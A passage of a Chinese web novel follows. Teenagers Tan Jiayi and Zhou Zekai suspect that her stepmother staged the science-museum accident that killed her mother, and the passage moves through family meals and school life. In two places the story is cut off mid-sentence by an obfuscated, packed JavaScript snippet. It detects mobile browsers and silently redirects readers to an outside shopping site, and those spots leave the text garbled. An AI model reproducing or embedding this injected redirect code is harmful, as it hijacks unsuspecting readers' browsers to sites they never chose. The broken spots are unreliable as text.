东方即将破晓,眼看暮色一点点褪去,曙光将天际划开一道金色的口子,朝阳顺着这点口子,逐渐爬上山头。 “快,要来不及了!” 谭佳宜还没反应过来,手便被人握住。周泽楷牵着她在山头狂奔。 “去哪儿?” “看日出!” 脚步总算停下来,两人都上气不接下气。周泽楷兴奋地指着不远的朝阳,“可算赶上了,快看!” 谭佳宜顺着看过去,只见一轮红日挣开暗夜的束缚,一点一点向上攀爬。黎明前的黑暗被彻底划破,金光普照人间,希望洒满山头。 她眯起眼睛,仿佛见证了新生的力量。 一股她向往已久的勇气在心间升腾,终于冲破内心最后一道防线,紧接着喷薄而出。 谭佳宜看向周泽楷,缓缓开口:“你之前说会告诉我真相,现在,我想听。” 40. 真相&获奖 周泽楷怔愣着回望谭佳宜,他完全没料到,关于这个话题,会是谭佳宜先问出口。 他还在纠结该怎么开这个头,对方便帮他做了决定。 “你真的愿意听?” “嗯。” 周泽楷看谭佳宜态度坚决,日出映在她眼睛里,闪烁着耀眼的金光,少女神色自若,目光坚定。 周泽楷酝酿一下情绪,眼神不自觉暗了几分,终于开口道:“三年前,白阿姨的那场悲剧,可能不是意外,而是有人故意陷害。” 他时刻注意着谭佳宜的动态,害怕她下一秒便会失控。 然而,他担心的事情却没有发生。 谭佳宜脸上看不出一丝情绪变化,她定定地望向宝塔的方向。 朝阳将宝塔晕起一圈金色的光辉,一定是里面的镇塔天王在做法,保佑亡故之人安宁顺遂。 谭佳宜的平静让周泽楷发慌,他犹豫着要不要继续说下去。这时,对方突然开口了。 “所以,是谁?” 谭佳宜能够压抑住面上的情绪,但她没法泯灭自己内心的震惊和痛苦,说话时声音分明在颤抖。 “是你继母,程婉乔。” 谭佳宜似是猜到了答案,她竟笑了起来。 “哼!我知道她讨厌,虚伪,不择手段,但没想到还是低估她的狠毒了。她什么事都做得出来。” 几声轻笑让周泽楷头皮发麻,他分不清她是哭是笑,不过他明白,她现在心里肯定很痛苦。 至亲之人被人设计至死,死得冤屈。而凶手却还逍遥法外,这口气换谁都咽不下。 所以,她这是相信自己说的话了? “你是怎么知道的?” 收敛起让人毛骨悚然的笑意,谭佳宜一滴眼泪没再流,除了快被指夹抠出血的手掌,她现在的反应,全都冷静地可怕。 “我……我……”周泽楷吞吞吐吐地说,他还真解释不清这个问题。 他总不能说,自己是穿越过来的吧。 “算了。姑且相信你一回。这种事情,你应该也不会乱说。” 周泽楷松了口气,敲锣打鼓的心跳声也逐渐恢复平静。 “之前总是针对你,对不起。我知道,那件事也不是你的错,我们都没错,错的另有其人。只是……” 谭佳宜渐渐低下头去,小声道:“对我们太不公平了。” 看见谭佳宜失魂落魄的样子,这是周泽楷从未见过的一面。 少女向来浑身是刺,用坚硬的壳包裹住自己。原来,她也有柔软脆弱的一面。 他将手搭在她肩上,语气笃定,“那就去把公道讨回来。谭佳宜,你不是一直挺有本事的吗?物理竞赛你能搞定,对抗谭墨行你也不在话下,区区程婉乔,有什么好怕的。 况且,你还有我们呢。我、七哥、李叔,都会支持你的。” 谭佳宜回头,对上周泽楷坚毅的目光。少年浅浅一笑,温柔好似春风细雨,让谭佳宜这棵泥沼中的野草,再次复苏过来。 “好。就把公道讨回来!” …… 远足回来后,五中如期放了月假。 自从知道真相后,谭佳宜的下一步计划,就是如何找到程婉乔设计陷害母亲的证据。 三年前的事说远不远,但要是想去将三年前的蛛丝马迹翻出来,也不是件易事。 这次回家,谭佳宜打算去趟科技馆,那是案发的第一现场,程婉乔就算是按照作梗,也逃不开在科技馆做手脚。 只要是做过的事情,总会留痕。 回到家后,沙发上的谭墨行正在看书。 现在是下午五点半,这个点就回来了,对于她这个日理万机的父亲来说,倒是很早。 “佳宜回来了。怎么也不提前说一声,我好去接你。”谭墨行关切道。 谭佳宜将书包卸下来,打量了家里一转,没人。今天是周五,程婉乔应该是去接谭家航了,所以现在家里只有谭墨行一人。 她挤出个笑容,假模假样地回应父亲虚伪的关怀:“没多远,我自己坐公交就行。” 谭墨行见女儿懂事,很满意地笑了。他招了招手,示意谭佳宜过来坐。 “陪爸爸坐一会儿,难得咱父女俩有机会单独聊聊。” 谭佳宜见谭墨行倚靠在沙发上,双眼耷拉着,疲态尽显。 她坐过去,自然地捏了捏谭墨行的肩膀,“爸爸,今天怎么这么早就结束工作了?” “嗐,”谭墨行叹了口气,扶额摇头,“接了块烫手的山芋。上次跟你说新签下了长泽的法务,那公司表面看起来光鲜,内里也不过是一团败絮,假账贪污没少干,不过是些外强中干的货色。亏我还下了好大功夫争夺这个项目。” 谭佳宜认真聆听谭墨行的倾诉,边听边思索着。 要说谭墨行的律所,八成也是这个样子,金玉其外,败絮其中,他和他口中唾弃的公司,不过是半斤八两的问题。 所以,一报还一报罢了。 谭佳宜假装点头,装作一副共情的样子,刚想说点什么安慰一下这个受挫的父亲,谭墨行便再次开口。 “跟你说这个做什么,你还小,也不懂这些。算了算了,不提这些了。” 谭墨行有意略过这个话题,谭佳宜也没多过问。 她在父亲眼里,是一心学习,不谙世事的好学生。这种生意场上的事情,她哪里会知道。 “对了,你最近在学校怎么样?” 谭佳宜笑着说:“都挺好的。老师同学对我都挺照顾的。” 她其实还想说学习也挺好的,这次联考拿了个第一。但话到嘴边还是咽了下去。 昔日的她,取得好成绩是会迫不及待和父母分享的,但今非昔比,她清楚谭墨行对这方面不感冒。即使嘴上夸着,心里却害怕她过分优秀。 太过优秀的人会让他自卑,他掌握不了。 “那就好。最重要的还是把身体养好,你不记得上次才生完病,估计就是学习太用功折腾的。以咱们家的条件,没必要那么拼。” 谭佳宜扯了下嘴角,答应下来,只是表情略显牵强。 他这个父亲或许永远不会知道,她生的那场病,全是拜他现在的枕边人所赐。 门吱呀一声开了,程婉乔边换鞋,边朝里面喊了一声:“我们回来啦。” 声音娇滴滴的,但是不好听,夹得过分。 谭家航听话地将书包卸下,规规矩矩地暂时放在玄关台子上。 他走进去,看见谭佳宜在,先是叫了声姐姐,才接着向谭墨行问好。 程婉乔摆鞋的动作一顿,她没料到谭佳宜是今天回 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程婉乔僵在原地,想起上次谭佳宜的一巴掌,她的脸就觉得生疼。 她惊讶,难不成就为上次那点小事,谭佳宜要和她完全闹掰不成? 她连他爸爸的情面也不顾及了? 餐桌上,还是出现了一道不合时宜的菜——酸菜鱼。 看来程婉乔还是不死心,她想挽回自己刚才被驳回的面子。 只是谭佳宜可不买账,她照样是一筷子没动,就连程婉乔夹在她碗里的,她也挑了出去。 程婉乔瞥了一眼谭佳宜,开始转移话题:“对了,墨行,有个好消息要告诉你。” 谭墨行抬头,终于正眼看了眼程婉乔。 不知道为什么,这回谭墨行对程婉乔突然很冷淡,就连谭佳宜怼她时,他也没帮她说话。 谭佳宜不知道他们间发生了什么矛盾,但这对她来说也算是好事。 她不自觉勾起嘴角。 只是程婉乔的“好事”却让她再次抿起了唇。 见谭墨行终于注意到自己,程婉乔迫不及待地起身,从包里拿出个奖杯来。 “佳航这次‘希望杯’作文比赛得了全国一等奖,这个比赛含金量可高了。” 谭墨行摸了摸儿子的脑袋,露出欣慰的笑容,“我儿子真厉害!说,想要什么,爸爸可以给你个小奖励!” 她这个父亲,养儿子和养女儿的态度很不一样,准确来说,应该看是养谁的孩子,再来决定对待的态度。 对于谭家航的优秀,谭墨行倒是没有丝毫抗拒。他发自内心的夸赞、鼓励,估计是把他当作了自己的继承人。 谭家航不好意思地笑了,他被夸得害羞,只是小声说道:“我……我还没想好。” “行,那你慢慢想。等想好了再告诉爸爸。” 程婉乔看着父子俩融洽的场面,露出得意的笑容,她抬眸打量谭佳宜一眼,不经意地说道:“好像这个比赛高中组也有吧,佳宜参加了吗?” 程婉乔问题一出,谭佳宜霎时成为全场的焦点,谭墨行也将目光投向她。 她夹菜的动作一滞,一颗滑溜溜鱼丸顿时从筷子上滑落下来,一路滚到了地上。 41. 故地重游&故人重逢 谭佳宜弯腰,默默将掉在地上的鱼丸捡起,放到垃圾盘中。 动作从容,没有丝毫的慌张。 她笑着说:“是有这么回事,不过我没参加。” 她坦坦荡荡地说出了程婉乔想要的答案,程婉乔不过是想比过谭佳宜。 自己儿子取得的荣誉,谭佳宜可不能有。 听罢,程婉乔故作遗憾道:“哦,这样啊。那还挺可惜的,我想佳宜如果参加了,肯定也能得奖,至少也有个优秀奖。” 程婉乔摆弄完奖杯,将奖杯放在了最显眼的地方。 “是,佳航确实很优秀。毕竟每个人擅长的方面也有所不同。”谭佳宜应声道。 高中组比赛结果还没下来,谭佳宜干脆改变了之前的计划,没提自己参加比赛的事。 她原来不会放过任何和谭家航比的机会,绝对不能让程婉乔占了上风。 但如今她想开了,其实没必要去争这些。她想到参加比赛过程中结识的人,收获的情,便觉得足矣。 “佳航,要继续加油哦,姐姐看好你!”谭佳宜毫不吝啬地夸奖谭家航。 被姐姐夸了,谭家航仰起头,笑着答道:“嗯,姐姐。我会努力的,一定会向姐姐看齐的。” 他看向谭佳宜的时候,眼睛都在发光,好像在仰望自己的偶像,眼里盛满星辰,一闪一闪的。 程婉乔瞥了一眼谭家航,面上笑着,内心却很不解。 区区谭佳宜,怎么三言两语就把这小不点给收买了。 她还记得,上次谭家航还帮她说话呢。明明是自己生养的,胳膊肘怎么往外拐。 …… 第二天,谭佳宜借着去图书馆自习的理由,打算去科技馆一趟。 她时刻不敢忘,这次回来,最重要的事情就是去调查当年的真相。 她和周泽楷约好一同出发。毕竟他也算是当年的亲历者,有他在也方便询问当年的细节。 两人在科技馆门口汇合。 科技馆还是熟悉的模样,独特的半月外观,通体的玻璃墙,从外面看科技感十足。 两人故地重游,无数宝贵的回忆都被镌刻在这里。 谭佳宜三年没来,再见也没有一丝生疏。 这里是母亲白言清工作的地方,也是她热爱的地方,她将心血奉献给这里,同时,也在这里燃尽了生命最后一盏灯。 走进去,时光像是倒流回三年前,一一切还是原来的模样。 水蓝的星球仍然环绕着炽热的太阳,火箭、飞船永远在发射的路上,宇航员挥手向你问好,LED屏滚动播放着最新的科技进展,广播里传来熟悉的动感音乐…… 如果不是显示屏上的日期出卖了幻象,她真的会以为回到了过去。 “还记得吗?这里,咱俩还合过照呢。” 周泽楷看她情绪有些低落,指着一旁的火星冲她笑。 他走过去,对着火星模型比了个耶。 周泽楷长高了,原来和他一般高的火星,现在才堪堪到他的胸前。 他曲着腿,蹲下来模仿着当年的姿势,样子很是搞笑,与他平时的形象着实不符。 谭佳宜被逗笑了。难得舒展开眉头。 真傻! “记得吗?之前你一直说以后要去火星上住。我说不去,你还说就算绑着我,也要一起去呢。” 回忆的阀门被再次打开,孩童时期的欢声笑语在耳边久久回荡。 只是,再也回不去了。 谭佳宜想到有人不在了,眼眸又暗了下去。 她背过去,努力克制住眼眶中打转的眼泪,只是喃喃道:“不记得了。” 刚刚明明好些了,怎么情绪又有些低落? 周泽楷知道,这里承载了太多有关她妈妈的美好回忆。她难过也正常。 毕竟以前有多幸福,现在的落差就有多大。 要是他的举动能让她感觉好一点点,那就值得。 上到二楼,总算快走到当时的事发现场。 该来的终究会来的,躲不开,避不了。 谭佳宜脚步放慢,她没有再往前走。 面前是一大片展区,展区内容隔一段时间便会更换一次。 自从当年出事后,科技馆再也没用过超大型的模型作展览,材料也从沉重的钢铁,换成了轻便的塑料。 现在展区还没上下一季的展品,但上一季的已经撤下去了。 展区空空荡荡的,而那片空旷区,就是白阿姨当年倒下的地方。 那段阴影同样笼罩在周泽楷心头好多年,至今,他也不愿回想当时的场景。 撑着熟悉的深蓝色墙壁,谭佳宜实在是绷不住了。 眼泪不自觉地砸下来,一滴一滴,像永无止境的河流,潸然而下。 谭佳宜流泪时一点声音都没有,可无声的哭泣却比声泪俱下显得更悲痛,更有力量。 周泽楷知道,她一定是又泪失禁了。 他缓缓走到她身边,一手任她握着,一手搭在她背上帮她顺气。 这种情况下,周泽楷清楚,自己说任何话都是无力的。他能做的只有陪伴。 等她哭过了,发泄出来了,或许就会好一点。 谭佳宜不知哭了多久,她将泪抹干,直起身子,开始重新往前走。 故地重游,对于她来说或许还有一层新的定义。她是来看望妈妈的。 好像她来到了这里,就算是来祭奠母亲。她在这里,隔着不知多少公里,和已故的母亲对话。 谭佳宜比周泽楷想象中更坚强,收拾好心情后,她没时间继续悲伤,便开始直面现实。 “当时意外发生的确切地点在哪儿?” 周泽楷仔细回想一圈,终于将位置锁定下来。那里旁边不远就是消防栓,他当时还有专门留意。 “就是这里。” 只见谭佳宜快步走到案发现场,仔细观察着周围的环境。眼神锐利,飞快地扫视着周围的边边角角,每一处细节都没放过。 “这里一共有五个监控摄像头,但正对这个地方的,却只有一个。” 谭佳宜站在当年母亲倒下的地方,死死盯着那个正对的监控。 监控器干净的镜面中,映着她的身影。 “所以,我们可以想办法把监控调出来。不过就是不知道三年前的监控好不好掉。”周泽楷分析着。 “调出来也不一定有用。当年判定的就是意外,而且无可争议,证据理由都很充分,所以就算做了手脚,监控器也不一定捕捉得到。”谭佳宜将问题指出来。 确实,如果是精细筹划的阴谋,光凭监控,是很难查出端倪的。毕竟谋划人也会考虑到这一点,一定会想着避开监控。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020260|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我当时太小,也没想那么多。或许我们应该先搞清楚,当年的意外到底是怎么造成的。”谭佳宜建议道。 这确实是个不错的思路。顺藤摸瓜,就算是意外也总有个原因。 谭佳宜掏出手机,拨通了电话。 不一会儿,电话那头传来声音:“佳宜?有什么事吗?” “廖阿姨,关于我妈当年的意外,我有点事想问你。” …… 廖阿姨今天休假,但听到是关于白言清的事情,也立马赶来了科技馆。 “阿姨,麻烦你今天专门跑一趟。但确实是有要事想问。” 廖阿姨,是白言清生前的同事兼闺蜜。她是科技馆的创意主管,这块展区就是她负责布置。不过事发后,廖阿姨也因此停职了一段时间,还被撤去了主管的职位。 对于白言清的意外,廖洁是一直很内疚的。这大概也是她一辈子的心结。 也是这个原因,三年来,她虽然想在谭佳宜身上弥补回来,却还是不敢面对她。 但今天,谭佳宜专门来找她,还是为了她妈妈的事。 廖洁心里是既惊讶又忐忑。 “希希,别这么说。没什么麻烦的。”廖洁摆摆手道。 “阿姨,那我就直说了。我是想知道,当年的意外到底是怎么回事?您应该是知道的吧。” 听到她要打探意外的原因,廖洁神色中闪过一丝惊诧,“希希,怎么突然想起来问这个?” “廖阿姨,我想搞清楚当年的细节,因为……这件事可能不是意外!” “不是意外?” “嗯。所以,阿姨您一定要好好想想,一定要把您知道的都告诉我。” 廖洁拧起眉头,陷入了沉思。 “您别急,慢慢想。”周泽楷在一旁应和。 廖洁只知道,三年前的事是意外无疑,怎么会…… 她缓缓开口道:“当年,模型的螺丝出现了松动,检查发现,是螺丝有裂口。但在这之前,安装人员是反复检查过没问题的,就连我去看的时候也没问题。所以,就认定的是厂家质量不合格,最后也是由模型厂家赔的钱。” 廖洁叹了口气,满脸愧意,“都怪我当时太不仔细,要是多检查几遍,或许言清就不会……” 她说着说着就哽咽住了,接下来的话,便再也没法说下去。 谭佳宜忍着悲痛安慰廖阿姨,自己明明也是受害者,此刻却比谁都坚强。 廖阿姨平复好情绪,开口问道:“所以,这其中还有什么问题吗?” “当然有,”谭佳宜冷静地分析,“廖阿姨,就算你检查得再仔细,可能也没法阻止悲剧发生。” 廖阿姨扬起头,一脸疑惑,“怎么说?” “刚刚您说反复检查后还是没问题,但那天却刚好出了问题。所以,有没有可能,是中途有人更换成了有问题的螺丝!” “很有可能。廖阿姨,我们看到那里有个正对着的监控,能不能把当年事发前后的监控都调出来?作案人肯定不会在监控下明眼做手脚,但他一定来过现场。”周泽楷推测道。 廖洁看两人分析得头头是道,全程耐心地听完。 她震惊得说不出话来,就连瞳孔也放大了几分。 周泽楷和谭佳宜一脸期待地望着廖洁,她犹豫着开口:“可以是可以,只是……” 42. 曝马甲&吃醋 “只是我现在没有调取监控的权利。而且过去了这么久,恐怕也很难找到当年的监控录像。” “……” 谭佳宜和周泽楷有些沮丧,就算他们有所怀疑,也没法找到切实的证据。 “不过你们别灰心,我想想办法。毕竟涉及当年的重大意外,当时的录像应该还是有备份的。”廖洁劝慰道。 “那麻烦廖阿姨了,您要是有消息,一定要尽快告诉我们。” “嗯,你们放心。要是真不是意外,我拼尽全力也会帮你们查清楚的。” 出了科技馆,谭佳宜和周泽楷开始往回走。 两人这次出来也并非毫无进展,至少有了个突破口。只是接下来的线索却像是断了线的风筝,让人捉摸不透。 “接下来你打算怎么办?”周泽楷询问道。 “嗯……我也不知道。” 谭佳宜兴致缺缺,看着有点丧。 两个高中生没有经验,没有人脉,就这么赤手空拳地查着三年前的旧案。一筹莫展也在所难免。 “你确定真是程婉乔害死了妈妈?” 周泽楷以为她开始动摇了,毕竟自己当时无凭无据,就说出了这么个惊天大秘密。 “你……不相信我?”周泽楷试探着问。 “算了。”谭佳宜叹了口气,加快了脚步,“宁可信其有。反正我不相信程婉乔。” 周泽楷松了口气,快步追上她。 “你说程婉乔一个人有这么大能耐吗?”谭佳宜自顾自地说着。 “我知道程婉乔肯定参与了,不过其它人不好说。” 其它人…… 那应该只有谭墨行了。 她下意识里还是没将谭墨行考虑进去,他至少曾经是白言清的丈夫,也还是她的父亲。 他会忍心害死母亲吗? 这个问题,谭佳宜在心里划了个问号。 她心存希冀,最好没有…… 时间不会因为线索的中断而停滞,月假很快结束了,他们又回到正常的校园生活中。 高一很快迎来尾声,选科的事情也提上日程。 五中全科只学半年,为的就是提早分科,也能提早进入高考总复习。 地方上的重高,为了在应试教育中取得佳绩,自然应运而生一系列反常规制度。 “同学们,下学期咱们就要重新分班了。不过不管你们选文还是选理,我和大家都还是能再见的,毕竟数学没得选,都得学。” 楠哥说得是事实,但也挺扎心的。 众所周知,数学不知是多少人的噩梦。对于理科不好的人来说,本以为选文就万事大吉了,但他可能忘了,数学这门理科是在哪儿都甩不掉的。 下课后,选科表发下来。白依依跑到谭佳宜旁边哭诉。 自从上次远足结束后,她们俩的关系似乎更近了一步,白依依莫名觉得谭佳宜很亲切,像是认识很久的故友。 “真是,楠哥哪壶不开提哪壶。我刚刚还在兴奋终于快要摆脱物理了,现在才恍然大悟,还有数学这个老大哥在呢。”白依依抱怨道。 “没事啦,以后做数学题就当是背书背累了的放松休息。”谭佳宜笑着安慰她。 “对了,小谭,你打算选文还是选理?” 白依依话一出口,一旁的周泽楷眼皮抬了抬,写字的手顿住。 “我……选理吧。” 这个答案在周泽楷意料之中,却在白依依意料之外。 “小谭,你作文写得很好啊,我听君姐说,咱俩都进省赛了。” “你别忘了,语文选哪科也都要学。但说实话,我其实并不擅长文字方面的东西,这次作文赛,也多亏了君姐和你。” 谭佳宜没谦虚,她的文科在班上排中等水平,主要还是理科太过突出,所以总分也总是名列前茅。 作文比赛她当时也是为了和程婉乔较劲才报的。不过在打磨一篇好文章的过程中,从构思到语言,再到和君姐还有白依依交流,她都切切实实提高了自己的写作水平。 “大家互相帮助,共同进步,都是应该的。”白依依粲然一笑,转而皱起了眉,“好吧,你选适合自己的就好。其实我就是舍不得你,以后我们肯定不在一个班了。” 谭佳宜在分科表上果断勾选了理科,没有丝毫犹豫。 “没事,线下不能经常见面,我们可以线上聊。” 白依依瞪圆了眼睛,她记得还没来得及加谭佳宜好友啊! 倏地,谭佳宜凑到白依依身边,低声耳语:“你好,我是‘阿拉丁神灯’,很高兴认识你。” 阿拉丁神灯,这是谭佳宜豆瓣上用的名字。 白依依小时候就听过这个神话故事,是《天方夜谭》中的一篇。所以当时对这个名字印象很深刻。 天方夜谭,阿拉丁神灯,都是一个人。而这个人就是眼前的同班同学谭佳宜! 白依依在心里感叹着奇妙的缘分,原来谭佳宜就是她豆瓣上的网友,怪不得她觉得亲切呢。 惊喜之情溢于言表,白依依刚要说什么,就被谭佳宜制止住。 她食指放在唇边,比了个手势:“嘘!” 白依依瞥见旁边的周泽楷,一下子秒懂,吞下了呼之欲出的话,转而道:“哦,这样啊。要上课了,我先回去了。拜拜。” 状况外的周泽楷看不透她们的迷惑行为。只是撇撇嘴,但内心却有一丝不爽。 虽说都是女生,但也没必要离那么近吧。 还有,什么话是不能当着他的面说的。这两个人实在是可疑。 这节是米老头的物理课,米老头走到讲台上,清了清嗓子:“同学们,把联考试的卷子拿出来,这节课评讲试卷。” 如果只是评讲试卷的话,那么这节课对于周泽楷和谭佳宜来说,就十分轻松了。 因为,他俩拿了满分。 谭佳宜头也没抬,将竞赛作业拿出来写。明天要上竞赛课,但谭佳宜还没写完。 周泽楷记得,之前她可是会比竞赛进度提前不少,这次怎么也这么松弛。不像是她的作风。 “讲题前,先说一下这次咱们班的整体情况。” 话头一开,大家就知道米老头又要开始叨叨了,纷纷低下头开始干自己的事。 这是他的惯常操作,每次考完都要长篇大论地总结一番,但说的话实在没什么营养,也不怪大家不认真听。 “这次班上物理成绩整体有进步,一些之前没发挥好的同学这次也表现得不错,这点值得肯定。当然,那些物理成绩在前面的同学就不用多说,这次依旧稳发挥,像是搞竞赛的谭佳宜同学,还有那个……周……周……” “周泽楷!”何西飞坐讲台边上,主动提醒道。 直到何西飞喊出他的名字,周泽楷才反应过来。 他刚才没听,这会突然叫到他,他还有点懵。 “喊我做什么?”周泽楷小声问同桌。 “没事,等着被表扬吧。” 话音刚落,米老头恍然大悟般说道:”对!就是周泽楷同学。他们两个考了满分,也是全校唯二的满分。大家要向他们学习,下课后可以借人家的卷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027505|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好看看,看看人家的过程是怎么写的,怎么才能不被扣步骤分。” 这两个物理大佬班上人尽皆知,所以当米老头单独表扬二人的时,也没人露出惊讶的表情。 意料之内,情理之中。 只是周泽楷很是受宠若惊。 这种好事,米老头能记得他,也是不容易。 “所以我说嘛,物理这门学科也没多难,只要不畏难,肯攀登,一定能征服它。” 米老头在上面讲得慷慨激昂,但下面显然还是一潭死水。 大家暗中咂嘴,私下对米老头的观点不以为然。 您是物理老师,当然不知学生苦。对于陌生的题目,有时候还真是你认识它但它不认识你。 “大家千万不要因为物理不好就放弃选理科,还是要坚持自己的初心。而且咱们学校理科向来是强势学科,大家要慎重考虑,这可关乎大家未来的人生道路,可不能儿戏。” 米老头这番说辞像是在搞传销。潜台词是:选理科,买不了吃亏,买不了上当。都来选理科! 只是像白依依这种铁了心要选文的人,就是十个米老头来劝,她也绝对不会动摇。 谭佳宜忘神地写着题,这后面的话术她压根没听。 这道题她翻来覆去算了几遍,但结果都不对。 竞赛班的作业向来只发答案,不给解析,因此在上课之前也时常会遇到卡壳的地方。 只是这是谭佳宜第一次算了这么多遍都和答案对不上,她烦躁地挠了挠头。 恰好周泽楷也在做这套题,谭佳宜瞥见,他的进度已经超过了自己。 自己没算出来的这道题,周泽楷的卷子上已经写好了过程,而且答案也和标准答案一模一样。 要不…… 找他问问? 求助一下应该不丢人吧? 谭佳宜将纸条传过去,周泽楷正专注地做题,胳膊肘被人碰一下,他猛地一惊。 “第四题能看看吗?” 周泽楷转过头,谭佳宜指了指卷子上的那道题。 周泽楷将卷子递过去,任谭佳宜自己琢磨。 谭佳宜细细地扫了一遍周泽楷的过程,他用了个她都没想起来的公式。 这个公式不常用,竞赛课也还没讲过,谭佳宜只觉得有点眼熟,在那本物理资料书中好像见过。 周泽楷都看这么多了! 今天见识了一下,谭佳宜终于对周泽楷飞速的学习进度有了实感。 不过,他这个思路倒是很清奇,感觉比自己的过程要简单。 她茅塞顿开,又回去看来一遍自己的过程。 果不其然,是中间有一步公式用错了,怪不得一直算不出来正确答案。 她懊恼地将错误的公式划掉。 下课铃突然响了,这节课米老头果然没讲完试卷。 前面水了小半节课,后面也讲不了几题,最后只好以“大家先自己看解析”草草结束。 谭佳宜一节课都耗在一道题上,效率实在是低下。 下课后,一种终于攻克难关的疲累感袭来,她难得没继续赶工。 她扭过头,看周泽楷还在奋笔疾书。 “太用功了吧!不考虑等等我?” 周泽楷头也没抬,只是答道:“被孤立的人只好默默努力喽。” 谭佳宜察觉到不对劲,一股莫名的酸味儿在空气中蔓延。 看周泽楷酸溜溜的样,她想起上节课间冷落他的情景。 安静片刻,谭佳宜歪着头道:“嗯,那要不然……哄哄你?” 43. 水果糖&小提琴 周泽楷眼皮一抬,露出玩味的笑容。 他倒要看看,谭佳宜是怎么个哄法。 只见谭佳宜将手伸进兜里,再拿出来的时候,双手握成拳头,放在了周泽楷面前。 “猜猜?”谭佳宜故意卖着关子。 周泽楷这会子傲娇得很,没有顺着谭佳宜的节奏接话。 “不猜。”他谈谈地说着,欲意继续写题,但眼神还是不自觉地往谭佳宜的方向瞟了两眼。 “行。不猜算了。”谭佳宜将手收回。 谁还没点脾气,何况是谭大小姐。 谭佳宜刚要将手送回口袋,周泽楷就反悔了,他很没骨气地抢答:“别,我猜。” 只是谭佳宜可没那么好说话。 “刚刚不猜,现在没机会了。”她慢悠悠地说道,连带着手上的动作也慢下来。 口是心非,欲擒故纵这套谭佳宜很擅长,三两下就交换了角色,这会子轮到周泽楷来哄她了。 “再给次机会嘛。”周泽楷央求道,他眨巴着眼睛,嘴角两个梨涡若隐若现,谭佳宜看得招架不住,只好答应下来。 “行吧。一次机会,猜对才有奖。”谭佳宜语气坚决,像是没得商量。 “那我可得好好想想……” 周泽楷托腮,陷入了沉思。 巴掌大的东西,一拳便能握住,还是谭佳宜会随身携带的。 其实她一拿出来,周泽楷就有了答案。直觉告诉他,应该就是这个没错。 “是……水果糖?”周泽楷挑着眉,虽是问句,但他还是一副胸有成竹的样子。 谭佳宜瞪圆了双眼,俨然一副不可置信的样子。 他怎么会知道? 如谭佳宜所言,周泽楷一下子便猜对了答案。她遵守约定,将手掌摊开。 亮粉色的糖纸在阳光照射下闪着光芒。是草莓味的水果糖,周泽楷再熟悉不过。 之前她哄他,也是一样的套路。 还真是百试不厌,但也是百试百灵。 “怎么,还看呆了?你不是早就猜到了吗?”谭佳宜打量着周泽楷,他正盯着手中的糖愣神。 “嗯,没什么。就是想起了点之前的事。” 谭佳宜不以为意,将水果糖放在了他手中。 “对了,你怎么知道是糖?” “直觉。” 直觉是什么?正是因为对一个人,一件事足够了解,足够熟悉,才能产生精准的直觉。 谭佳宜或许不记得了,毕竟小时候她最爱分享糖果。哪个同学被老师批评了,哪个同学和家长置气了,哪个同学生她的气了,她都会奉献自己兜里的一颗糖。 在小谭佳宜的世界里,应该没有什么是一颗糖解决不了的问题。 但她给他的糖,周泽楷却永远不会忘。 在那个阴雨连绵的季节,在那段被阴霾笼罩的日子,谭佳宜对她说“吃了糖雨就会停。” 她没骗他。 确实,吃了糖,甜蜜会代替痛苦,阳光将驱散阴霾。 回忆与现实重叠,周泽楷小心撕开糖纸,将糖放进了嘴里。 顷刻,甜味在舌尖散开,口腔中充斥着草莓的清甜,糖化成甜水缠绕在味蕾间,像颗甜蜜炸弹。 只是炸出的不是火花,而是熟悉的感觉。 至少现在看来,自己重生一次没白来。 …… 元旦将至,五中每年最盛大的文娱活动就是元旦晚会。这个活动仅限高一高二参加,而相对最为清闲的高一则是活动的主力军。 因此,高一同学都跃跃欲试,打算把握住高中仅此一回能尽情表现自己的机会。 “元旦晚会的节目现在可以报名了,要是有同学有意愿的话,可以来我这里报名。”文艺委员邵雨涵将报名细则张贴到班级公告栏上。 消息一出,下面便叽叽喳喳地开始议论个不停。 这种放在全校的大场面,有勇气一枝独秀的是少数,大多数人都更倾向于几个人组队共同出一个节目。 一是人多力量大,二是有人陪自己一块,就算是出丑也没那么尴尬。 听到这个消息时,谭佳宜眼皮都没抬一下,直接自动忽略,将自己划到了局外人的界限。 周泽楷自然也属于不参与的一派,但他是真的心有余而力不足,实在是没有能现场展示的才艺,总不能表演静坐画画吧。 估计还没等他画完,台下的人就昏昏欲睡了。 不过谭佳宜倒是可以参加。 小学文艺演出,谭佳宜每年都有登台表演,可以说演出经验十分丰富。 她拉得一手好琴,无论是独奏还是伴奏,都不在话下。 只是上一世自从小学毕业后,周泽楷就再没见过谭佳宜拉琴了。 他不知道她是因为学业忙,还是说不愿意拉小提琴。 这次她会报名吗? 周泽楷不确定。 但看她现在冷淡的反应,估计够呛。 去办公室送作业的路上,周泽楷偶然撞见刚才办公室出来的陈淮北。 说来也巧,上次和他打交道,也是在去办公室的路上。 两人熟络地打了个照面,周泽楷刚准备继续往前走,谁知陈淮北竟退了回来,单手往他肩上自然地一搭。 “班长,你会乐器吗?我看你的气质,像是个懂音乐的人。” 周泽楷尴尬地笑笑,说道:“那要让你失望了,音乐方面,我一窍不通。” 周泽楷心下疑惑,自己这个完全没有音乐细胞的人,他是从哪儿看出自己懂音乐的。 “好吧,我看你这骨节分明,十指修长的,倒是双弹钢琴的好手。”陈淮北扶着他的手打量。 